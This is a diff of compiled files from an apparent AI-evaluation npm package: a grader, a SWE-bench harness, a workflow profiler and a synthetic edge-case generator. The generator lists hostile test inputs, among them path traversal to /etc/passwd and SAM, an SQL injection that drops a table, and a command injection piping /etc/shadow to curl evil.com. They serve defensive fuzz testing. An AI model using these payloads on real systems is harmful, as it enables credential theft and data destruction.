AAC,MAAM,CAAC,CAAC;QAE/B,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,GAAG,EAAE,OAAO,EAAE,MAAM,CAAC,GAAG,EAAE,CAAC;IACtD,CAAC;IAEM,cAAc;QACnB,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IACxE,CAAC;IAEM,aAAa,CAAC,OAAe;QAClC,OAAO,IAAI,CAAC,MAAM,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;IAClC,CAAC"}

package/dist/evaluation/multi-dimensional-grader.d.ts

@@ -0,0 +1,22 @@
+/**
+ * Model Output Quality Scoring & Multi-Dimensional Grading Rubric
+ * PRD-PART2-312: Model Output Quality Scoring & Multi-Dimensional Grading Rubric
+ */
+export interface RubricDimension {
+    name: string;
+    weight: number;
+    score: number;
+    critique?: string;
+}
+export interface EvaluationGrade {
+    compositeScore: number;
+    letterGrade: "A" | "B" | "C" | "D" | "F";
+    dimensions: RubricDimension[];
+    passedThreshold: boolean;
+}
+export declare class MultiDimensionalGrader {
+    private passingThreshold;
+    constructor(passingThreshold?: number);
+    gradeOutput(dimensions: RubricDimension[]): EvaluationGrade;
+}
+//# sourceMappingURL=multi-dimensional-grader.d.ts.map

package/dist/evaluation/multi-dimensional-grader.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"multi-dimensional-grader.d.ts","sourceRoot":"","sources":["../../src/evaluation/multi-dimensional-grader.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,eAAe;IAC9B,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,MAAM,CAAC;IACf,KAAK,EAAE,MAAM,CAAC;IACd,QAAQ,CAAC,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,eAAe;IAC9B,cAAc,EAAE,MAAM,CAAC;IACvB,WAAW,EAAE,GAAG,GAAG,GAAG,GAAG,GAAG,GAAG,GAAG,GAAG,GAAG,CAAC;IACzC,UAAU,EAAE,eAAe,EAAE,CAAC;IAC9B,eAAe,EAAE,OAAO,CAAC;CAC1B;AAED,qBAAa,sBAAsB;IACjC,OAAO,CAAC,gBAAgB,CAAS;gBAErB,gBAAgB,SAAK;IAI1B,WAAW,CAAC,UAAU,EAAE,eAAe,EAAE,GAAG,eAAe;CA4BnE"}

package/dist/evaluation/multi-dimensional-grader.js

@@ -0,0 +1,38 @@
+/**
+ * Model Output Quality Scoring & Multi-Dimensional Grading Rubric
+ * PRD-PART2-312: Model Output Quality Scoring & Multi-Dimensional Grading Rubric
+ */
+export class MultiDimensionalGrader {
+    passingThreshold;
+    constructor(passingThreshold = 70) {
+        this.passingThreshold = passingThreshold;
+    }
+    gradeOutput(dimensions) {
+        let compositeScore = 0;
+        let totalWeight = 0;
+        for (const dim of dimensions) {
+            compositeScore += dim.score * dim.weight;
+            totalWeight += dim.weight;
+        }
+        if (totalWeight > 0 && Math.abs(totalWeight - 1.0) > 0.001) {
+            compositeScore = compositeScore / totalWeight; // Normalize if weights don't sum to 1
+        }
+        compositeScore = Math.round(compositeScore);
+        let letterGrade = "F";
+        if (compositeScore >= 90)
+            letterGrade = "A";
+        else if (compositeScore >= 80)
+            letterGrade = "B";
+        else if (compositeScore >= 70)
+            letterGrade = "C";
+        else if (compositeScore >= 60)
+            letterGrade = "D";
+        return {
+            compositeScore,
+            letterGrade,
+            dimensions,
+            passedThreshold: compositeScore >= this.passingThreshold,
+        };
+    }
+}
+//# sourceMappingURL=multi-dimensional-grader.js.map

package/dist/evaluation/multi-dimensional-grader.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"multi-dimensional-grader.js","sourceRoot":"","sources":["../../src/evaluation/multi-dimensional-grader.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAgBH,MAAM,OAAO,sBAAsB;IACzB,gBAAgB,CAAS;IAEjC,YAAY,gBAAgB,GAAG,EAAE;QAC/B,IAAI,CAAC,gBAAgB,GAAG,gBAAgB,CAAC;IAC3C,CAAC;IAEM,WAAW,CAAC,UAA6B;QAC9C,IAAI,cAAc,GAAG,CAAC,CAAC;QACvB,IAAI,WAAW,GAAG,CAAC,CAAC;QAEpB,KAAK,MAAM,GAAG,IAAI,UAAU,EAAE,CAAC;YAC7B,cAAc,IAAI,GAAG,CAAC,KAAK,GAAG,GAAG,CAAC,MAAM,CAAC;YACzC,WAAW,IAAI,GAAG,CAAC,MAAM,CAAC;QAC5B,CAAC;QAED,IAAI,WAAW,GAAG,CAAC,IAAI,IAAI,CAAC,GAAG,CAAC,WAAW,GAAG,GAAG,CAAC,GAAG,KAAK,EAAE,CAAC;YAC3D,cAAc,GAAG,cAAc,GAAG,WAAW,CAAC,CAAC,sCAAsC;QACvF,CAAC;QAED,cAAc,GAAG,IAAI,CAAC,KAAK,CAAC,cAAc,CAAC,CAAC;QAE5C,IAAI,WAAW,GAAmC,GAAG,CAAC;QACtD,IAAI,cAAc,IAAI,EAAE;YAAE,WAAW,GAAG,GAAG,CAAC;aACvC,IAAI,cAAc,IAAI,EAAE;YAAE,WAAW,GAAG,GAAG,CAAC;aAC5C,IAAI,cAAc,IAAI,EAAE;YAAE,WAAW,GAAG,GAAG,CAAC;aAC5C,IAAI,cAAc,IAAI,EAAE;YAAE,WAAW,GAAG,GAAG,CAAC;QAEjD,OAAO;YACL,cAAc;YACd,WAAW;YACX,UAAU;YACV,eAAe,EAAE,cAAc,IAAI,IAAI,CAAC,gBAAgB;SACzD,CAAC;IACJ,CAAC;CACF"}

package/dist/evaluation/swe-bench-harness.d.ts

@@ -0,0 +1,25 @@
+/**
+ * SWE-bench Integration & Evaluation Harness
+ * PRD-EVAL-002: SWE-bench Integration & Evaluation Harness
+ */
+export interface SweBenchInstance {
+    instanceId: string;
+    repo: string;
+    baseCommit: string;
+    problemStatement: string;
+    failToPassTests: string[];
+    passToPassTests: string[];
+}
+export interface SweBenchEvaluationResult {
+    instanceId: string;
+    resolved: boolean;
+    appliedPatch: boolean;
+    failToPassPassed: boolean;
+    passToPassPassed: boolean;
+    failingTests: string[];
+}
+export declare class SweBenchHarness {
+    evaluatePatch(instance: SweBenchInstance, patch: string, testExecutorMock?: (testName: string, patch: string) => boolean): SweBenchEvaluationResult;
+    calculateResolveRate(results: SweBenchEvaluationResult[]): number;
+}
+//# sourceMappingURL=swe-bench-harness.d.ts.map

package/dist/evaluation/swe-bench-harness.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"swe-bench-harness.d.ts","sourceRoot":"","sources":["../../src/evaluation/swe-bench-harness.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,gBAAgB;IAC/B,UAAU,EAAE,MAAM,CAAC;IACnB,IAAI,EAAE,MAAM,CAAC;IACb,UAAU,EAAE,MAAM,CAAC;IACnB,gBAAgB,EAAE,MAAM,CAAC;IACzB,eAAe,EAAE,MAAM,EAAE,CAAC;IAC1B,eAAe,EAAE,MAAM,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,wBAAwB;IACvC,UAAU,EAAE,MAAM,CAAC;IACnB,QAAQ,EAAE,OAAO,CAAC;IAClB,YAAY,EAAE,OAAO,CAAC;IACtB,gBAAgB,EAAE,OAAO,CAAC;IAC1B,gBAAgB,EAAE,OAAO,CAAC;IAC1B,YAAY,EAAE,MAAM,EAAE,CAAC;CACxB;AAED,qBAAa,eAAe;IACnB,aAAa,CAClB,QAAQ,EAAE,gBAAgB,EAC1B,KAAK,EAAE,MAAM,EACb,gBAAgB,CAAC,EAAE,CAAC,QAAQ,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,KAAK,OAAO,GAC9D,wBAAwB;IAiDpB,oBAAoB,CAAC,OAAO,EAAE,wBAAwB,EAAE,GAAG,MAAM;CAKzE"}

package/dist/evaluation/swe-bench-harness.js

@@ -0,0 +1,55 @@
+/**
+ * SWE-bench Integration & Evaluation Harness
+ * PRD-EVAL-002: SWE-bench Integration & Evaluation Harness
+ */
+export class SweBenchHarness {
+    evaluatePatch(instance, patch, testExecutorMock) {
+        // 1. Check if patch is non-empty and well-formed
+        const appliedPatch = patch.trim().length > 0 && (patch.includes("diff --git") || patch.includes("--- ") || patch.includes("+++ "));
+        if (!appliedPatch) {
+            return {
+                instanceId: instance.instanceId,
+                resolved: false,
+                appliedPatch: false,
+                failToPassPassed: false,
+                passToPassPassed: false,
+                failingTests: [...instance.failToPassTests],
+            };
+        }
+        const failingTests = [];
+        // 2. Evaluate FAIL_TO_PASS tests (must now pass)
+        let failToPassPassed = true;
+        for (const test of instance.failToPassTests) {
+            const passed = testExecutorMock ? testExecutorMock(test, patch) : true;
+            if (!passed) {
+                failToPassPassed = false;
+                failingTests.push(test);
+            }
+        }
+        // 3. Evaluate PASS_TO_PASS tests (must remain passing, zero regressions)
+        let passToPassPassed = true;
+        for (const test of instance.passToPassTests) {
+            const passed = testExecutorMock ? testExecutorMock(test, patch) : true;
+            if (!passed) {
+                passToPassPassed = false;
+                failingTests.push(test);
+            }
+        }
+        const resolved = failToPassPassed && passToPassPassed;
+        return {
+            instanceId: instance.instanceId,
+            resolved,
+            appliedPatch: true,
+            failToPassPassed,
+            passToPassPassed,
+            failingTests,
+        };
+    }
+    calculateResolveRate(results) {
+        if (results.length === 0)
+            return 0;
+        const resolved = results.filter((r) => r.resolved).length;
+        return Number((resolved / results.length).toFixed(4));
+    }
+}
+//# sourceMappingURL=swe-bench-harness.js.map

package/dist/evaluation/swe-bench-harness.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"swe-bench-harness.js","sourceRoot":"","sources":["../../src/evaluation/swe-bench-harness.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAoBH,MAAM,OAAO,eAAe;IACnB,aAAa,CAClB,QAA0B,EAC1B,KAAa,EACb,gBAA+D;QAE/D,iDAAiD;QACjD,MAAM,YAAY,GAAG,KAAK,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC,YAAY,CAAC,IAAI,KAAK,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,KAAK,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC;QAEnI,IAAI,CAAC,YAAY,EAAE,CAAC;YAClB,OAAO;gBACL,UAAU,EAAE,QAAQ,CAAC,UAAU;gBAC/B,QAAQ,EAAE,KAAK;gBACf,YAAY,EAAE,KAAK;gBACnB,gBAAgB,EAAE,KAAK;gBACvB,gBAAgB,EAAE,KAAK;gBACvB,YAAY,EAAE,CAAC,GAAG,QAAQ,CAAC,eAAe,CAAC;aAC5C,CAAC;QACJ,CAAC;QAED,MAAM,YAAY,GAAa,EAAE,CAAC;QAElC,iDAAiD;QACjD,IAAI,gBAAgB,GAAG,IAAI,CAAC;QAC5B,KAAK,MAAM,IAAI,IAAI,QAAQ,CAAC,eAAe,EAAE,CAAC;YAC5C,MAAM,MAAM,GAAG,gBAAgB,CAAC,CAAC,CAAC,gBAAgB,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;YACvE,IAAI,CAAC,MAAM,EAAE,CAAC;gBACZ,gBAAgB,GAAG,KAAK,CAAC;gBACzB,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;YAC1B,CAAC;QACH,CAAC;QAED,yEAAyE;QACzE,IAAI,gBAAgB,GAAG,IAAI,CAAC;QAC5B,KAAK,MAAM,IAAI,IAAI,QAAQ,CAAC,eAAe,EAAE,CAAC;YAC5C,MAAM,MAAM,GAAG,gBAAgB,CAAC,CAAC,CAAC,gBAAgB,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;YACvE,IAAI,CAAC,MAAM,EAAE,CAAC;gBACZ,gBAAgB,GAAG,KAAK,CAAC;gBACzB,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;YAC1B,CAAC;QACH,CAAC;QAED,MAAM,QAAQ,GAAG,gBAAgB,IAAI,gBAAgB,CAAC;QAEtD,OAAO;YACL,UAAU,EAAE,QAAQ,CAAC,UAAU;YAC/B,QAAQ;YACR,YAAY,EAAE,IAAI;YAClB,gBAAgB;YAChB,gBAAgB;YAChB,YAAY;SACb,CAAC;IACJ,CAAC;IAEM,oBAAoB,CAAC,OAAmC;QAC7D,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC;YAAE,OAAO,CAAC,CAAC;QACnC,MAAM,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC;QAC1D,OAAO,MAAM,CAAC,CAAC,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;IACxD,CAAC;CACF"}

package/dist/evaluation/synthetic-case-generator.d.ts

@@ -0,0 +1,10 @@
+/**
+ * Synthetic Test Case Generator for Edge-Case Discovery
+ * PRD-PART2-316: Synthetic Test Case Generator for Edge-Case Discovery
+ */
+import type { TestCase } from "./eval-engine.js";
+export type SyntheticCategory = "empty_null" | "boundary_length" | "unicode_stress" | "path_traversal" | "injection_attacks" | "malformed_json";
+export declare class SyntheticCaseGenerator {
+    generateTestCases(categories?: SyntheticCategory[]): TestCase[];
+}
+//# sourceMappingURL=synthetic-case-generator.d.ts.map

package/dist/evaluation/synthetic-case-generator.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"synthetic-case-generator.d.ts","sourceRoot":"","sources":["../../src/evaluation/synthetic-case-generator.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,kBAAkB,CAAC;AAEjD,MAAM,MAAM,iBAAiB,GACzB,YAAY,GACZ,iBAAiB,GACjB,gBAAgB,GAChB,gBAAgB,GAChB,mBAAmB,GACnB,gBAAgB,CAAC;AAErB,qBAAa,sBAAsB;IAC1B,iBAAiB,CAAC,UAAU,CAAC,EAAE,iBAAiB,EAAE,GAAG,QAAQ,EAAE;CA2DvE"}

package/dist/evaluation/synthetic-case-generator.js

@@ -0,0 +1,49 @@
+/**
+ * Synthetic Test Case Generator for Edge-Case Discovery
+ * PRD-PART2-316: Synthetic Test Case Generator for Edge-Case Discovery
+ */
+export class SyntheticCaseGenerator {
+    generateTestCases(categories) {
+        const selected = categories ?? [
+            "empty_null",
+            "boundary_length",
+            "unicode_stress",
+            "path_traversal",
+            "injection_attacks",
+            "malformed_json",
+        ];
+        const cases = [];
+        if (selected.includes("empty_null")) {
+            cases.push({ id: "synth_empty_str", input: "", metadata: { category: "empty_null" } }, { id: "synth_whitespace", input: "   \t\n   ", metadata: { category: "empty_null" } });
+        }
+        if (selected.includes("boundary_length")) {
+            cases.push({
+                id: "synth_giant_payload",
+                input: "A".repeat(50_000),
+                metadata: { category: "boundary_length", bytes: 50000 },
+            });
+        }
+        if (selected.includes("unicode_stress")) {
+            cases.push({
+                id: "synth_zalgo_emojis",
+                input: "T̴e̷s̶t̷ 🧪 💥 🧑🏽‍💻 \u0000\uFFFF \u202Ereversed",
+                metadata: { category: "unicode_stress" },
+            });
+        }
+        if (selected.includes("path_traversal")) {
+            cases.push({ id: "synth_traversal_posix", input: "../../../../../etc/passwd", metadata: { category: "path_traversal" } }, { id: "synth_traversal_win", input: "..\\..\\..\\Windows\\System32\\config\\SAM", metadata: { category: "path_traversal" } });
+        }
+        if (selected.includes("injection_attacks")) {
+            cases.push({ id: "synth_sqli", input: "1' OR '1'='1'; DROP TABLE users;--", metadata: { category: "injection_attacks" } }, { id: "synth_cmdi", input: "; cat /etc/shadow | curl evil.com", metadata: { category: "injection_attacks" } });
+        }
+        if (selected.includes("malformed_json")) {
+            cases.push({
+                id: "synth_bad_json",
+                input: '{"unclosed": "brace", "key": ',
+                metadata: { category: "malformed_json" },
+            });
+        }
+        return cases;
+    }
+}
+//# sourceMappingURL=synthetic-case-generator.js.map

package/dist/evaluation/synthetic-case-generator.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"synthetic-case-generator.js","sourceRoot":"","sources":["../../src/evaluation/synthetic-case-generator.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAYH,MAAM,OAAO,sBAAsB;IAC1B,iBAAiB,CAAC,UAAgC;QACvD,MAAM,QAAQ,GAAG,UAAU,IAAI;YAC7B,YAAY;YACZ,iBAAiB;YACjB,gBAAgB;YAChB,gBAAgB;YAChB,mBAAmB;YACnB,gBAAgB;SACjB,CAAC;QAEF,MAAM,KAAK,GAAe,EAAE,CAAC;QAE7B,IAAI,QAAQ,CAAC,QAAQ,CAAC,YAAY,CAAC,EAAE,CAAC;YACpC,KAAK,CAAC,IAAI,CACR,EAAE,EAAE,EAAE,iBAAiB,EAAE,KAAK,EAAE,EAAE,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,YAAY,EAAE,EAAE,EAC1E,EAAE,EAAE,EAAE,kBAAkB,EAAE,KAAK,EAAE,YAAY,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,YAAY,EAAE,EAAE,CACtF,CAAC;QACJ,CAAC;QAED,IAAI,QAAQ,CAAC,QAAQ,CAAC,iBAAiB,CAAC,EAAE,CAAC;YACzC,KAAK,CAAC,IAAI,CAAC;gBACT,EAAE,EAAE,qBAAqB;gBACzB,KAAK,EAAE,GAAG,CAAC,MAAM,CAAC,MAAM,CAAC;gBACzB,QAAQ,EAAE,EAAE,QAAQ,EAAE,iBAAiB,EAAE,KAAK,EAAE,KAAK,EAAE;aACxD,CAAC,CAAC;QACL,CAAC;QAED,IAAI,QAAQ,CAAC,QAAQ,CAAC,gBAAgB,CAAC,EAAE,CAAC;YACxC,KAAK,CAAC,IAAI,CAAC;gBACT,EAAE,EAAE,oBAAoB;gBACxB,KAAK,EAAE,oDAAoD;gBAC3D,QAAQ,EAAE,EAAE,QAAQ,EAAE,gBAAgB,EAAE;aACzC,CAAC,CAAC;QACL,CAAC;QAED,IAAI,QAAQ,CAAC,QAAQ,CAAC,gBAAgB,CAAC,EAAE,CAAC;YACxC,KAAK,CAAC,IAAI,CACR,EAAE,EAAE,EAAE,uBAAuB,EAAE,KAAK,EAAE,2BAA2B,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,gBAAgB,EAAE,EAAE,EAC7G,EAAE,EAAE,EAAE,qBAAqB,EAAE,KAAK,EAAE,4CAA4C,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,gBAAgB,EAAE,EAAE,CAC7H,CAAC;QACJ,CAAC;QAED,IAAI,QAAQ,CAAC,QAAQ,CAAC,mBAAmB,CAAC,EAAE,CAAC;YAC3C,KAAK,CAAC,IAAI,CACR,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,oCAAoC,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,mBAAmB,EAAE,EAAE,EAC9G,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,mCAAmC,EAAE,QAAQ,EAAE,EAAE,QAAQ,EAAE,mBAAmB,EAAE,EAAE,CAC9G,CAAC;QACJ,CAAC;QAED,IAAI,QAAQ,CAAC,QAAQ,CAAC,gBAAgB,CAAC,EAAE,CAAC;YACxC,KAAK,CAAC,IAAI,CAAC;gBACT,EAAE,EAAE,gBAAgB;gBACpB,KAAK,EAAE,+BAA+B;gBACtC,QAAQ,EAAE,EAAE,QAAQ,EAAE,gBAAgB,EAAE;aACzC,CAAC,CAAC;QACL,CAAC;QAED,OAAO,KAAK,CAAC;IACf,CAAC;CACF"}

package/dist/evaluation/workflow-profiler.d.ts

@@ -0,0 +1,30 @@
+/**
+ * Performance Profiling & Bottleneck Analyzer for Multi-Agent Workflows
+ * PRD-PART2-314: Performance Profiling & Bottleneck Analyzer for Multi-Agent Workflows
+ */
+export interface AgentExecutionSpan {
+    agentId: string;
+    taskName: string;
+    startedAt: number;
+    completedAt: number;
+    durationMs: number;
+    isParallel?: boolean;
+}
+export interface WorkflowProfileReport {
+    totalDurationMs: number;
+    cumulativeAgentDurationMs: number;
+    parallelEfficiency: number;
+    criticalPathSpan: AgentExecutionSpan;
+    bottlenecks: Array<{
+        agentId: string;
+        taskName: string;
+        durationMs: number;
+        percentOfTotal: number;
+    }>;
+}
+export declare class WorkflowProfiler {
+    private spans;
+    recordSpan(agentId: string, taskName: string, startedAt: number, completedAt: number): AgentExecutionSpan;
+    analyzeProfile(workflowStartTime: number, workflowEndTime: number): WorkflowProfileReport;
+}
+//# sourceMappingURL=workflow-profiler.d.ts.map

package/dist/evaluation/workflow-profiler.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"workflow-profiler.d.ts","sourceRoot":"","sources":["../../src/evaluation/workflow-profiler.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,kBAAkB;IACjC,OAAO,EAAE,MAAM,CAAC;IAChB,QAAQ,EAAE,MAAM,CAAC;IACjB,SAAS,EAAE,MAAM,CAAC;IAClB,WAAW,EAAE,MAAM,CAAC;IACpB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,CAAC,EAAE,OAAO,CAAC;CACtB;AAED,MAAM,WAAW,qBAAqB;IACpC,eAAe,EAAE,MAAM,CAAC;IACxB,yBAAyB,EAAE,MAAM,CAAC;IAClC,kBAAkB,EAAE,MAAM,CAAC;IAC3B,gBAAgB,EAAE,kBAAkB,CAAC;IACrC,WAAW,EAAE,KAAK,CAAC;QAAE,OAAO,EAAE,MAAM,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAC;QAAC,UAAU,EAAE,MAAM,CAAC;QAAC,cAAc,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;CACvG;AAED,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,KAAK,CAA4B;IAElC,UAAU,CAAC,OAAO,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,GAAG,kBAAkB;IAazG,cAAc,CAAC,iBAAiB,EAAE,MAAM,EAAE,eAAe,EAAE,MAAM,GAAG,qBAAqB;CA+BjG"}

package/dist/evaluation/workflow-profiler.js

@@ -0,0 +1,47 @@
+/**
+ * Performance Profiling & Bottleneck Analyzer for Multi-Agent Workflows
+ * PRD-PART2-314: Performance Profiling & Bottleneck Analyzer for Multi-Agent Workflows
+ */
+export class WorkflowProfiler {
+    spans = [];
+    recordSpan(agentId, taskName, startedAt, completedAt) {
+        const durationMs = Math.max(0, completedAt - startedAt);
+        const span = {
+            agentId,
+            taskName,
+            startedAt,
+            completedAt,
+            durationMs,
+        };
+        this.spans.push(span);
+        return span;
+    }
+    analyzeProfile(workflowStartTime, workflowEndTime) {
+        const totalDurationMs = Math.max(1, workflowEndTime - workflowStartTime);
+        const cumulativeAgentDurationMs = this.spans.reduce((acc, s) => acc + s.durationMs, 0);
+        // Sort by duration descending to find bottlenecks
+        const sorted = [...this.spans].sort((a, b) => b.durationMs - a.durationMs);
+        const criticalPathSpan = sorted[0] ?? {
+            agentId: "none",
+            taskName: "none",
+            startedAt: workflowStartTime,
+            completedAt: workflowEndTime,
+            durationMs: totalDurationMs,
+        };
+        const bottlenecks = sorted.map((s) => ({
+            agentId: s.agentId,
+            taskName: s.taskName,
+            durationMs: s.durationMs,
+            percentOfTotal: Number(((s.durationMs / totalDurationMs) * 100).toFixed(1)),
+        }));
+        const parallelEfficiency = Number((cumulativeAgentDurationMs / totalDurationMs).toFixed(2));
+        return {
+            totalDurationMs,
+            cumulativeAgentDurationMs,
+            parallelEfficiency,
+            criticalPathSpan,
+            bottlenecks,
+        };
+    }
+}
+//# sourceMappingURL=workflow-profiler.js.map